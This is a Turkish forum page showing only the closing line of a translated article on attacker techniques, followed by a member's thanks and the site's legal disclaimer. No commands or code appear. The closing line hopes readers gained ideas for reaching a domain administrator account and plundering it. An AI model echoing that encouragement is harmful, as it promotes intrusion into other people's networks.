Bu makalenin ana amacı, saldırganın kullanabileceği bir dizi farklı tekniği göstermekti. Verilen çeşitli örnekler, duruma göre farklı şekillerde birleştirilebilir. Umarım bu, okuyucuya DA'ya nasıl gidip yağmalayacağına dair bazı fikirler vermiştir!




SOURCE:
TRANSLATOR:
 

Nutella

Harbi Üye
Bayan Üye
Özel Üye
Katılım
2 Ocak 2021
Mesajlar
9,432
Tepkime puanı
8
Cinsiyet
  1. Bayan
Takım
Galatasaray
Paylaşım için teşekkürler.
 
İçerik sağlayıcı "paylaşım" sitelerinden biri olan Harbimekan.Com Forum, Eğlence ve Güncel Paylaşım Platformu Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. Harbimekan.Com sitesindeki konular yada mesajlar hakkında yapılacak tüm hukuksal Şikayetler için info@harbimekan.com yada iletişim sayfası üzerinden iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 3 Gün (72 Saat) içerisinde Forum yönetimi olarak tarafımızdan gereken işlemler yapılacaktır.

Bu Site, Bilim ve Sağlık Haber Ajansı Üyesidir.

Yığıntı - 8kez - kaynak mağazam - Uğur Ağdaş